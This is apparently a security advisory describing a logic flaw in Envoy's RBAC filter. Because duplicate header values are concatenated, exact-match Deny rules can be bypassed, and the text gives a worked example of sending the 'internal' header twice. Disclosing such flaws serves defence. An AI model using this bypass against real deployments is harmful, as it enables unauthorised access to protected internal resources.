The Envoy RBAC (Role-Based Access Control) filter contains a logic vulnerability in how it validates HTTP headers when multiple values are present for the same header name. Instead of validating each header value individually, Envoy concatenates all values into a single comma-separated string. This behavior allows attackers to bypass RBAC policies—specifically "Deny" rules—by sending duplicate headers, effectively obscuring the malicious value from exact-match mechanisms.

2. Attack Scenario

Consider an environment where an administrator wants to block external access to internal resources using a specific header flag.

Configuration

The Envoy proxy is configured with a Deny rule to reject requests containing the header internal: true.

• Rule Type: Exact Match
• Target: internal header must not equal true.

The Bypass Logic

1. Standard Request (Blocked):

   • Input: internal: true
   • Envoy Processing: Sees string "true".
   • Result: Match found. Request Denied.

2. Exploit Request (Bypassed):

   • Input:

     internal: true
     internal: true
     

   • Envoy Processing: Concatenates values into "true,true".
   • Matcher Evaluation: Does "true,true" equal "true"? No.
   • Result: The Deny rule fails to trigger. Request Allowed.